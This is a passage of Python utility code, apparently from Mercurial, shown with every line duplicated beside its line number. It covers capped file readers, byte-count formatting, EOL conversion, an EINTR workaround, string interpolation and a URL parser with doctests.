2271 chunk is the last chunk in the file, or the file is a socket or
2272 some other type of file that sometimes reads less data than is
2272 some other type of file that sometimes reads less data than is
2273 requested."""
2273 requested."""
2274 assert size >= 0
2274 assert size >= 0
2275 assert limit is None or limit >= 0
2275 assert limit is None or limit >= 0
2276 while True:
2276 while True:
2277 if limit is None:
2277 if limit is None:
2278 nbytes = size
2278 nbytes = size
2279 else:
2279 else:
2280 nbytes = min(limit, size)
2280 nbytes = min(limit, size)
2281 s = nbytes and f.read(nbytes)
2281 s = nbytes and f.read(nbytes)
2282 if not s:
2282 if not s:
2283 break
2283 break
2284 if limit:
2284 if limit:
2285 limit -= len(s)
2285 limit -= len(s)
2286 yield s
2286 yield s
2287
2287
2288 class cappedreader(object):
2288 class cappedreader(object):
2289 """A file object proxy that allows reading up to N bytes.
2289 """A file object proxy that allows reading up to N bytes.
2290
2290
2291 Given a source file object, instances of this type allow reading up to
2291 Given a source file object, instances of this type allow reading up to
2292 N bytes from that source file object. Attempts to read past the allowed
2292 N bytes from that source file object. Attempts to read past the allowed
2293 limit are treated as EOF.
2293 limit are treated as EOF.
2294
2294
2295 It is assumed that I/O is not performed on the original file object
2295 It is assumed that I/O is not performed on the original file object
2296 in addition to I/O that is performed by this instance. If there is,
2296 in addition to I/O that is performed by this instance. If there is,
2297 state tracking will get out of sync and unexpected results will ensue.
2297 state tracking will get out of sync and unexpected results will ensue.
2298 """
2298 """
2299 def __init__(self, fh, limit):
2299 def __init__(self, fh, limit):
2300 """Allow reading up to <limit> bytes from <fh>."""
2300 """Allow reading up to <limit> bytes from <fh>."""
2301 self._fh = fh
2301 self._fh = fh
2302 self._left = limit
2302 self._left = limit
2303
2303
2304 def read(self, n=-1):
2304 def read(self, n=-1):
2305 if not self._left:
2305 if not self._left:
2306 return b''
2306 return b''
2307
2307
2308 if n < 0:
2308 if n < 0:
2309 n = self._left
2309 n = self._left
2310
2310
2311 data = self._fh.read(min(n, self._left))
2311 data = self._fh.read(min(n, self._left))
2312 self._left -= len(data)
2312 self._left -= len(data)
2313 assert self._left >= 0
2313 assert self._left >= 0
2314
2314
2315 return data
2315 return data
2316
2316
2317 def readinto(self, b):
2317 def readinto(self, b):
2318 res = self.read(len(b))
2318 res = self.read(len(b))
2319 if res is None:
2319 if res is None:
2320 return None
2320 return None
2321
2321
2322 b[0:len(res)] = res
2322 b[0:len(res)] = res
2323 return len(res)
2323 return len(res)
2324
2324
2325 def unitcountfn(*unittable):
2325 def unitcountfn(*unittable):
2326 '''return a function that renders a readable count of some quantity'''
2326 '''return a function that renders a readable count of some quantity'''
2327
2327
2328 def go(count):
2328 def go(count):
2329 for multiplier, divisor, format in unittable:
2329 for multiplier, divisor, format in unittable:
2330 if abs(count) >= divisor * multiplier:
2330 if abs(count) >= divisor * multiplier:
2331 return format % (count / float(divisor))
2331 return format % (count / float(divisor))
2332 return unittable[-1][2] % count
2332 return unittable[-1][2] % count
2333
2333
2334 return go
2334 return go
2335
2335
2336 def processlinerange(fromline, toline):
2336 def processlinerange(fromline, toline):
2337 """Check that linerange <fromline>:<toline> makes sense and return a
2337 """Check that linerange <fromline>:<toline> makes sense and return a
2338 0-based range.
2338 0-based range.
2339
2339
2340 >>> processlinerange(10, 20)
2340 >>> processlinerange(10, 20)
2341 (9, 20)
2341 (9, 20)
2342 >>> processlinerange(2, 1)
2342 >>> processlinerange(2, 1)
2343 Traceback (most recent call last):
2343 Traceback (most recent call last):
2344 ...
2344 ...
2345 ParseError: line range must be positive
2345 ParseError: line range must be positive
2346 >>> processlinerange(0, 5)
2346 >>> processlinerange(0, 5)
2347 Traceback (most recent call last):
2347 Traceback (most recent call last):
2348 ...
2348 ...
2349 ParseError: fromline must be strictly positive
2349 ParseError: fromline must be strictly positive
2350 """
2350 """
2351 if toline - fromline < 0:
2351 if toline - fromline < 0:
2352 raise error.ParseError(_("line range must be positive"))
2352 raise error.ParseError(_("line range must be positive"))
2353 if fromline < 1:
2353 if fromline < 1:
2354 raise error.ParseError(_("fromline must be strictly positive"))
2354 raise error.ParseError(_("fromline must be strictly positive"))
2355 return fromline - 1, toline
2355 return fromline - 1, toline
2356
2356
2357 bytecount = unitcountfn(
2357 bytecount = unitcountfn(
2358 (100, 1 << 30, _('%.0f GB')),
2358 (100, 1 << 30, _('%.0f GB')),
2359 (10, 1 << 30, _('%.1f GB')),
2359 (10, 1 << 30, _('%.1f GB')),
2360 (1, 1 << 30, _('%.2f GB')),
2360 (1, 1 << 30, _('%.2f GB')),
2361 (100, 1 << 20, _('%.0f MB')),
2361 (100, 1 << 20, _('%.0f MB')),
2362 (10, 1 << 20, _('%.1f MB')),
2362 (10, 1 << 20, _('%.1f MB')),
2363 (1, 1 << 20, _('%.2f MB')),
2363 (1, 1 << 20, _('%.2f MB')),
2364 (100, 1 << 10, _('%.0f KB')),
2364 (100, 1 << 10, _('%.0f KB')),
2365 (10, 1 << 10, _('%.1f KB')),
2365 (10, 1 << 10, _('%.1f KB')),
2366 (1, 1 << 10, _('%.2f KB')),
2366 (1, 1 << 10, _('%.2f KB')),
2367 (1, 1, _('%.0f bytes')),
2367 (1, 1, _('%.0f bytes')),
2368 )
2368 )
2369
2369
2370 class transformingwriter(object):
2370 class transformingwriter(object):
2371 """Writable file wrapper to transform data by function"""
2371 """Writable file wrapper to transform data by function"""
2372
2372
2373 def __init__(self, fp, encode):
2373 def __init__(self, fp, encode):
2374 self._fp = fp
2374 self._fp = fp
2375 self._encode = encode
2375 self._encode = encode
2376
2376
2377 def close(self):
2377 def close(self):
2378 self._fp.close()
2378 self._fp.close()
2379
2379
2380 def flush(self):
2380 def flush(self):
2381 self._fp.flush()
2381 self._fp.flush()
2382
2382
2383 def write(self, data):
2383 def write(self, data):
2384 return self._fp.write(self._encode(data))
2384 return self._fp.write(self._encode(data))
2385
2385
2386 # Matches a single EOL which can either be a CRLF where repeated CR
2386 # Matches a single EOL which can either be a CRLF where repeated CR
2387 # are removed or a LF. We do not care about old Macintosh files, so a
2387 # are removed or a LF. We do not care about old Macintosh files, so a
2388 # stray CR is an error.
2388 # stray CR is an error.
2389 _eolre = remod.compile(br'\r*\n')
2389 _eolre = remod.compile(br'\r*\n')
2390
2390
2391 def tolf(s):
2391 def tolf(s):
2392 return _eolre.sub('\n', s)
2392 return _eolre.sub('\n', s)
2393
2393
2394 def tocrlf(s):
2394 def tocrlf(s):
2395 return _eolre.sub('\r\n', s)
2395 return _eolre.sub('\r\n', s)
2396
2396
2397 def _crlfwriter(fp):
2397 def _crlfwriter(fp):
2398 return transformingwriter(fp, tocrlf)
2398 return transformingwriter(fp, tocrlf)
2399
2399
2400 if pycompat.oslinesep == '\r\n':
2400 if pycompat.oslinesep == '\r\n':
2401 tonativeeol = tocrlf
2401 tonativeeol = tocrlf
2402 fromnativeeol = tolf
2402 fromnativeeol = tolf
2403 nativeeolwriter = _crlfwriter
2403 nativeeolwriter = _crlfwriter
2404 else:
2404 else:
2405 tonativeeol = pycompat.identity
2405 tonativeeol = pycompat.identity
2406 fromnativeeol = pycompat.identity
2406 fromnativeeol = pycompat.identity
2407 nativeeolwriter = pycompat.identity
2407 nativeeolwriter = pycompat.identity
2408
2408
2409 if (pyplatform.python_implementation() == 'CPython' and
2409 if (pyplatform.python_implementation() == 'CPython' and
2410 sys.version_info < (3, 0)):
2410 sys.version_info < (3, 0)):
2411 # There is an issue in CPython that some IO methods do not handle EINTR
2411 # There is an issue in CPython that some IO methods do not handle EINTR
2412 # correctly. The following table shows what CPython version (and functions)
2412 # correctly. The following table shows what CPython version (and functions)
2413 # are affected (buggy: has the EINTR bug, okay: otherwise):
2413 # are affected (buggy: has the EINTR bug, okay: otherwise):
2414 #
2414 #
2415 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2415 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2416 # --------------------------------------------------
2416 # --------------------------------------------------
2417 # fp.__iter__ | buggy | buggy | okay
2417 # fp.__iter__ | buggy | buggy | okay
2418 # fp.read* | buggy | okay [1] | okay
2418 # fp.read* | buggy | okay [1] | okay
2419 #
2419 #
2420 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2420 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2421 #
2421 #
2422 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2422 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2423 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2423 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2424 #
2424 #
2425 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2425 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2426 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2426 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2427 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2427 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2428 # fp.__iter__ but not other fp.read* methods.
2428 # fp.__iter__ but not other fp.read* methods.
2429 #
2429 #
2430 # On modern systems like Linux, the "read" syscall cannot be interrupted
2430 # On modern systems like Linux, the "read" syscall cannot be interrupted
2431 # when reading "fast" files like on-disk files. So the EINTR issue only
2431 # when reading "fast" files like on-disk files. So the EINTR issue only
2432 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2432 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2433 # files approximately as "fast" files and use the fast (unsafe) code path,
2433 # files approximately as "fast" files and use the fast (unsafe) code path,
2434 # to minimize the performance impact.
2434 # to minimize the performance impact.
2435 if sys.version_info >= (2, 7, 4):
2435 if sys.version_info >= (2, 7, 4):
2436 # fp.readline deals with EINTR correctly, use it as a workaround.
2436 # fp.readline deals with EINTR correctly, use it as a workaround.
2437 def _safeiterfile(fp):
2437 def _safeiterfile(fp):
2438 return iter(fp.readline, '')
2438 return iter(fp.readline, '')
2439 else:
2439 else:
2440 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2440 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2441 # note: this may block longer than necessary because of bufsize.
2441 # note: this may block longer than necessary because of bufsize.
2442 def _safeiterfile(fp, bufsize=4096):
2442 def _safeiterfile(fp, bufsize=4096):
2443 fd = fp.fileno()
2443 fd = fp.fileno()
2444 line = ''
2444 line = ''
2445 while True:
2445 while True:
2446 try:
2446 try:
2447 buf = os.read(fd, bufsize)
2447 buf = os.read(fd, bufsize)
2448 except OSError as ex:
2448 except OSError as ex:
2449 # os.read only raises EINTR before any data is read
2449 # os.read only raises EINTR before any data is read
2450 if ex.errno == errno.EINTR:
2450 if ex.errno == errno.EINTR:
2451 continue
2451 continue
2452 else:
2452 else:
2453 raise
2453 raise
2454 line += buf
2454 line += buf
2455 if '\n' in buf:
2455 if '\n' in buf:
2456 splitted = line.splitlines(True)
2456 splitted = line.splitlines(True)
2457 line = ''
2457 line = ''
2458 for l in splitted:
2458 for l in splitted:
2459 if l[-1] == '\n':
2459 if l[-1] == '\n':
2460 yield l
2460 yield l
2461 else:
2461 else:
2462 line = l
2462 line = l
2463 if not buf:
2463 if not buf:
2464 break
2464 break
2465 if line:
2465 if line:
2466 yield line
2466 yield line
2467
2467
2468 def iterfile(fp):
2468 def iterfile(fp):
2469 fastpath = True
2469 fastpath = True
2470 if type(fp) is file:
2470 if type(fp) is file:
2471 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2471 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2472 if fastpath:
2472 if fastpath:
2473 return fp
2473 return fp
2474 else:
2474 else:
2475 return _safeiterfile(fp)
2475 return _safeiterfile(fp)
2476 else:
2476 else:
2477 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2477 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2478 def iterfile(fp):
2478 def iterfile(fp):
2479 return fp
2479 return fp
2480
2480
2481 def iterlines(iterator):
2481 def iterlines(iterator):
2482 for chunk in iterator:
2482 for chunk in iterator:
2483 for line in chunk.splitlines():
2483 for line in chunk.splitlines():
2484 yield line
2484 yield line
2485
2485
2486 def expandpath(path):
2486 def expandpath(path):
2487 return os.path.expanduser(os.path.expandvars(path))
2487 return os.path.expanduser(os.path.expandvars(path))
2488
2488
2489 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2489 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2490 """Return the result of interpolating items in the mapping into string s.
2490 """Return the result of interpolating items in the mapping into string s.
2491
2491
2492 prefix is a single character string, or a two character string with
2492 prefix is a single character string, or a two character string with
2493 a backslash as the first character if the prefix needs to be escaped in
2493 a backslash as the first character if the prefix needs to be escaped in
2494 a regular expression.
2494 a regular expression.
2495
2495
2496 fn is an optional function that will be applied to the replacement text
2496 fn is an optional function that will be applied to the replacement text
2497 just before replacement.
2497 just before replacement.
2498
2498
2499 escape_prefix is an optional flag that allows using doubled prefix for
2499 escape_prefix is an optional flag that allows using doubled prefix for
2500 its escaping.
2500 its escaping.
2501 """
2501 """
2502 fn = fn or (lambda s: s)
2502 fn = fn or (lambda s: s)
2503 patterns = '|'.join(mapping.keys())
2503 patterns = '|'.join(mapping.keys())
2504 if escape_prefix:
2504 if escape_prefix:
2505 patterns += '|' + prefix
2505 patterns += '|' + prefix
2506 if len(prefix) > 1:
2506 if len(prefix) > 1:
2507 prefix_char = prefix[1:]
2507 prefix_char = prefix[1:]
2508 else:
2508 else:
2509 prefix_char = prefix
2509 prefix_char = prefix
2510 mapping[prefix_char] = prefix_char
2510 mapping[prefix_char] = prefix_char
2511 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2511 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2512 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2512 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2513
2513
2514 def getport(port):
2514 def getport(port):
2515 """Return the port for a given network service.
2515 """Return the port for a given network service.
2516
2516
2517 If port is an integer, it's returned as is. If it's a string, it's
2517 If port is an integer, it's returned as is. If it's a string, it's
2518 looked up using socket.getservbyname(). If there's no matching
2518 looked up using socket.getservbyname(). If there's no matching
2519 service, error.Abort is raised.
2519 service, error.Abort is raised.
2520 """
2520 """
2521 try:
2521 try:
2522 return int(port)
2522 return int(port)
2523 except ValueError:
2523 except ValueError:
2524 pass
2524 pass
2525
2525
2526 try:
2526 try:
2527 return socket.getservbyname(pycompat.sysstr(port))
2527 return socket.getservbyname(pycompat.sysstr(port))
2528 except socket.error:
2528 except socket.error:
2529 raise error.Abort(_("no port number associated with service '%s'")
2529 raise error.Abort(_("no port number associated with service '%s'")
2530 % port)
2530 % port)
2531
2531
2532 class url(object):
2532 class url(object):
2533 r"""Reliable URL parser.
2533 r"""Reliable URL parser.
2534
2534
2535 This parses URLs and provides attributes for the following
2535 This parses URLs and provides attributes for the following
2536 components:
2536 components:
2537
2537
2538 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2538 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2539
2539
2540 Missing components are set to None. The only exception is
2540 Missing components are set to None. The only exception is
2541 fragment, which is set to '' if present but empty.
2541 fragment, which is set to '' if present but empty.
2542
2542
2543 If parsefragment is False, fragment is included in query. If
2543 If parsefragment is False, fragment is included in query. If
2544 parsequery is False, query is included in path. If both are
2544 parsequery is False, query is included in path. If both are
2545 False, both fragment and query are included in path.
2545 False, both fragment and query are included in path.
2546
2546
2547 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2547 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2548
2548
2549 Note that for backward compatibility reasons, bundle URLs do not
2549 Note that for backward compatibility reasons, bundle URLs do not
2550 take host names. That means 'bundle://../' has a path of '../'.
2550 take host names. That means 'bundle://../' has a path of '../'.
2551
2551
2552 Examples:
2552 Examples:
2553
2553
2554 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2554 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2555 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2555 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2556 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2556 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2557 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2557 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2558 >>> url(b'file:///home/joe/repo')
2558 >>> url(b'file:///home/joe/repo')
2559 <url scheme: 'file', path: '/home/joe/repo'>
2559 <url scheme: 'file', path: '/home/joe/repo'>
2560 >>> url(b'file:///c:/temp/foo/')
2560 >>> url(b'file:///c:/temp/foo/')
2561 <url scheme: 'file', path: 'c:/temp/foo/'>
2561 <url scheme: 'file', path: 'c:/temp/foo/'>
2562 >>> url(b'bundle:foo')
2562 >>> url(b'bundle:foo')
2563 <url scheme: 'bundle', path: 'foo'>
2563 <url scheme: 'bundle', path: 'foo'>
2564 >>> url(b'bundle://../foo')
2564 >>> url(b'bundle://../foo')
2565 <url scheme: 'bundle', path: '../foo'>
2565 <url scheme: 'bundle', path: '../foo'>
2566 >>> url(br'c:\foo\bar')
2566 >>> url(br'c:\foo\bar')
2567 <url path: 'c:\\foo\\bar'>
2567 <url path: 'c:\\foo\\bar'>
2568 >>> url(br'\\blah\blah\blah')
2568 >>> url(br'\\blah\blah\blah')
2569 <url path: '\\\\blah\\blah\\blah'>
2569 <url path: '\\\\blah\\blah\\blah'>
2570 >>> url(br'\\blah\blah\blah#baz')
2570 >>> url(br'\\blah\blah\blah#baz')
2571 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2571 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2572 >>> url(br'file:///C:\users\me')
2572 >>> url(br'file:///C:\users\me')
2573 <url scheme: 'file', path: 'C:\\users\\me'>
2573 <url scheme: 'file', path: 'C:\\users\\me'>
2574
2574
2575 Authentication credentials:
2575 Authentication credentials:
2576
2576
2577 >>> url(b'ssh://joe:xyz@x/repo')
2577 >>> url(b'ssh://joe:xyz@x/repo')
2578 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2578 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2579 >>> url(b'ssh://joe@x/repo')
2579 >>> url(b'ssh://joe@x/repo')
2580 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2580 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2581
2581
2582 Query strings and fragments:
2582 Query strings and fragments:
2583
2583
2584 >>> url(b'http://host/a?b#c')
2584 >>> url(b'http://host/a?b#c')
2585 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2585 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2586 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2586 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2587 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2587 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2588
2588
2589 Empty path:
2589 Empty path:
2590
2590
2591 >>> url(b'')
2591 >>> url(b'')
2592 <url path: ''>
2592 <url path: ''>
2593 >>> url(b'#a')
2593 >>> url(b'#a')
2594 <url path: '', fragment: 'a'>
2594 <url path: '', fragment: 'a'>
2595 >>> url(b'http://host/')
2595 >>> url(b'http://host/')
2596 <url scheme: 'http', host: 'host', path: ''>
2596 <url scheme: 'http', host: 'host', path: ''>
2597 >>> url(b'http://host/#a')
2597 >>> url(b'http://host/#a')
2598 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2598 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2599
2599
2600 Only scheme:
2600 Only scheme:
2601
2601
2602 >>> url(b'http:')
2602 >>> url(b'http:')
2603 <url scheme: 'http'>
2603 <url scheme: 'http'>
2604 """
2604 """
2605
2605
2606 _safechars = "!~*'()+"
2606 _safechars = "!~*'()+"
2607 _safepchars = "/!~*'()+:\\"
2607 _safepchars = "/!~*'()+:\\"
2608 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2608 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2609
2609
2610 def __init__(self, path, parsequery=True, parsefragment=True):
2610 def __init__(self, path, parsequery=True, parsefragment=True):
2611 # We slowly chomp away at path until we have only the path left
2611 # We slowly chomp away at path until we have only the path left
2612 self.scheme = self.user = self.passwd = self.host = None
2612 self.scheme = self.user = self.passwd = self.host = None
2613 self.port = self.path = self.query = self.fragment = None
2613 self.port = self.path = self.query = self.fragment = None
2614 self._localpath = True
2614 self._localpath = True
2615 self._hostport = ''
2615 self._hostport = ''
2616 self._origpath = path
2616 self._origpath = path
2617
2617
2618 if parsefragment and '#' in path:
2618 if parsefragment and '#' in path:
2619 path, self.fragment = path.split('#', 1)
2619 path, self.fragment = path.split('#', 1)
2620
2620
2621 # special case for Windows drive letters and UNC paths
2621 # special case for Windows drive letters and UNC paths
2622 if hasdriveletter(path) or path.startswith('\\\\'):
2622 if hasdriveletter(path) or path.startswith('\\\\'):
2623 self.path = path
2623 self.path = path
2624 return
2624 return
2625
2625
2626 # For compatibility reasons, we can't handle bundle paths as
2626 # For compatibility reasons, we can't handle bundle paths as
2627 # normal URLS
2627 # normal URLS
2628 if path.startswith('bundle:'):
2628 if path.startswith('bundle:'):
2629 self.scheme = 'bundle'
2629 self.scheme = 'bundle'
2630 path = path[7:]
2630 path = path[7:]
2631 if path.startswith('//'):
2631 if path.startswith('//'):
2632 path = path[2:]
2632 path = path[2:]
2633 self.path = path
2633 self.path = path
2634 return
2634 return
2635
2635
2636 if self._matchscheme(path):
2636 if self._matchscheme(path):
2637 parts = path.split(':', 1)
2637 parts = path.split(':', 1)
2638 if parts[0]:
2638 if parts[0]:
2639 self.scheme, path = parts
2639 self.scheme, path = parts
2640 self._localpath = False
2640 self._localpath = False
2641
2641
2642 if not path:
2642 if not path:
2643 path = None
2643 path = None
2644 if self._localpath:
2644 if self._localpath:
2645 self.path = ''
2645 self.path = ''
2646 return
2646 return
2647 else:
2647 else:
2648 if self._localpath:
2648 if self._localpath:
2649 self.path = path
2649 self.path = path
2650 return
2650 return
2651
2651
2652 if parsequery and '?' in path:
2652 if parsequery and '?' in path:
2653 path, self.query = path.split('?', 1)
2653 path, self.query = path.split('?', 1)
2654 if not path:
2654 if not path:
2655 path = None
2655 path = None
2656 if not self.query:
2656 if not self.query:
2657 self.query = None
2657 self.query = None
2658
2658
2659 # // is required to specify a host/authority
2659 # // is required to specify a host/authority
2660 if path and path.startswith('//'):
2660 if path and path.startswith('//'):
2661 parts = path[2:].split('/', 1)
2661 parts = path[2:].split('/', 1)
2662 if len(parts) > 1:
2662 if len(parts) > 1:
2663 self.host, path = parts
2663 self.host, path = parts
2664 else:
2664 else:
2665 self.host = parts[0]
2665 self.host = parts[0]
2666 path = None
2666 path = None
2667 if not self.host:
2667 if not self.host:
2668 self.host = None
2668 self.host = None
2669 # path of file:///d is /d
2669 # path of file:///d is /d
2670 # path of file:///d:/ is d:/, not /d:/
2670 # path of file:///d:/ is d:/, not /d:/
2671 if path and not hasdriveletter(path):
2671 if path and not hasdriveletter(path):
2672 path = '/' + path
2672 path = '/' + path
2673
2673
2674 if self.host and '@' in self.host:
2674 if self.host and '@' in self.host:
2675 self.user, self.host = self.host.rsplit('@', 1)
2675 self.user, self.host = self.host.rsplit('@', 1)
2676 if ':' in self.user:
2676 if ':' in self.user:
2677 self.user, self.passwd = self.user.split(':', 1)
2677 self.user, self.passwd = self.user.split(':', 1)
2678 if not self.host:
2678 if not self.host:
2679 self.host = None
2679 self.host = None
2680
2680
2681 # Don't split on colons in IPv6 addresses without ports
2681 # Don't split on colons in IPv6 addresses without ports
2682 if (self.host and ':' in self.host and
2682 if (self.host and ':' in self.host and
2683 not (self.host.startswith('[') and self.host.endswith(']'))):
2683 not (self.host.startswith('[') and self.host.endswith(']'))):
2684 self._hostport = self.host
2684 self._hostport = self.host
2685 self.host, self.port = self.host.rsplit(':', 1)
2685 self.host, self.port = self.host.rsplit(':', 1)
2686 if not self.host:
2686 if not self.host:
2687 self.host = None
2687 self.host = None
2688
2688
2689 if (self.host and self.scheme == 'file' and
2689 if (self.host and self.scheme == 'file' and
2690 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2690 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2691 raise error.Abort(_('file:// URLs can only refer to localhost'))
2691 raise error.Abort(_('file:// URLs can only refer to localhost'))
2692
2692
2693 self.path = path
2693 self.path = path
2694
2694
2695 # leave the query string escaped
2695 # leave the query string escaped
2696 for a in ('user', 'passwd', 'host', 'port',
2696 for a in ('user', 'passwd', 'host', 'port',
2697 'path', 'fragment'):
2697 'path', 'fragment'):
2698 v = getattr(self, a)
2698 v = getattr(self, a)
2699 if v is not None:
2699 if v is not None:
2700 setattr(self, a, urlreq.unquote(v))
2700 setattr(self, a, urlreq.unquote(v))
2701
2701
2702 @encoding.strmethod
2702 @encoding.strmethod
2703 def __repr__(self):
2703 def __repr__(self):
2704 attrs = []
2704 attrs = []
2705 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2705 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2706 'query', 'fragment'):
2706 'query', 'fragment'):
2707 v = getattr(self, a)
2707 v = getattr(self, a)
2708 if v is not None:
2708 if v is not None:
2709 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2709 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2710 return '<url %s>' % ', '.join(attrs)
2710 return '<url %s>' % ', '.join(attrs)
2711
2711
2712 def __bytes__(self):
2712 def __bytes__(self):
2713 r"""Join the URL's components back into a URL string.
2713 r"""Join the URL's components back into a URL string.
2714
2714
2715 Examples:
2715 Examples:
2716
2716
2717 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2717 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2718 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2718 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2719 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2719 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2720 'http://user:pw@host:80/?foo=bar&baz=42'
2720 'http://user:pw@host:80/?foo=bar&baz=42'
2721 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2721 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2722 'http://user:pw@host:80/?foo=bar%3dbaz'
2722 'http://user:pw@host:80/?foo=bar%3dbaz'
2723 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2723 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2724 'ssh://user:pw@[::1]:2200//home/joe#'
2724 'ssh://user:pw@[::1]:2200//home/joe#'
2725 >>> bytes(url(b'http://localhost:80//'))
2725 >>> bytes(url(b'http://localhost:80//'))
2726 'http://localhost:80//'
2726 'http://localhost:80//'
2727 >>> bytes(url(b'http://localhost:80/'))
2727 >>> bytes(url(b'http://localhost:80/'))
2728 'http://localhost:80/'
2728 'http://localhost:80/'
2729 >>> bytes(url(b'http://localhost:80'))
2729 >>> bytes(url(b'http://localhost:80'))
2730 'http://localhost:80/'
2730 'http://localhost:80/'
2731 >>> bytes(url(b'bundle:foo'))
2731 >>> bytes(url(b'bundle:foo'))
2732 'bundle:foo'
2732 'bundle:foo'
2733 >>> bytes(url(b'bundle://../foo'))
2733 >>> bytes(url(b'bundle://../foo'))
2734 'bundle:../foo'
2734 'bundle:../foo'
2735 >>> bytes(url(b'path'))
2735 >>> bytes(url(b'path'))
2736 'path'
2736 'path'
2737 >>> bytes(url(b'file:///tmp/foo/bar'))
2737 >>> bytes(url(b'file:///tmp/foo/bar'))
2738 'file:///tmp/foo/bar'
2738 'file:///tmp/foo/bar'
2739 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2739 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2740 'file:///c:/tmp/foo/bar'
2740 'file:///c:/tmp/foo/bar'
2741 >>> print(url(br'bundle:foo\bar'))
2741 >>> print(url(br'bundle:foo\bar'))
2742 bundle:foo\bar
2742 bundle:foo\bar
2743 >>> print(url(br'file:///D:\data\hg'))
2743 >>> print(url(br'file:///D:\data\hg'))
2744 file:///D:\data\hg
2744 file:///D:\data\hg
2745 """
2745 """
2746 if self._localpath:
2746 if self._localpath:
2747 s = self.path
2747 s = self.path
2748 if self.scheme == 'bundle':
2748 if self.scheme == 'bundle':
2749 s = 'bundle:' + s
2749 s = 'bundle:' + s
2750 if self.fragment:
2750 if self.fragment:
2751 s += '#' + self.fragment
2751 s += '#' + self.fragment
2752 return s
2752 return s
2753
2753
2754 s = self.scheme + ':'
2754 s = self.scheme + ':'
2755 if self.user or self.passwd or self.host:
2755 if self.user or self.passwd or self.host:
2756 s += '//'
2756 s += '//'
2757 elif self.scheme and (not self.path or self.path.startswith('/')
2757 elif self.scheme and (not self.path or self.path.startswith('/')
2758 or hasdriveletter(self.path)):
2758 or hasdriveletter(self.path)):
2759 s += '//'
2759 s += '//'
2760 if hasdriveletter(self.path):
2760 if hasdriveletter(self.path):
2761 s += '/'
2761 s += '/'
2762 if self.user:
2762 if self.user:
2763 s += urlreq.quote(self.user, safe=self._safechars)
2763 s += urlreq.quote(self.user, safe=self._safechars)
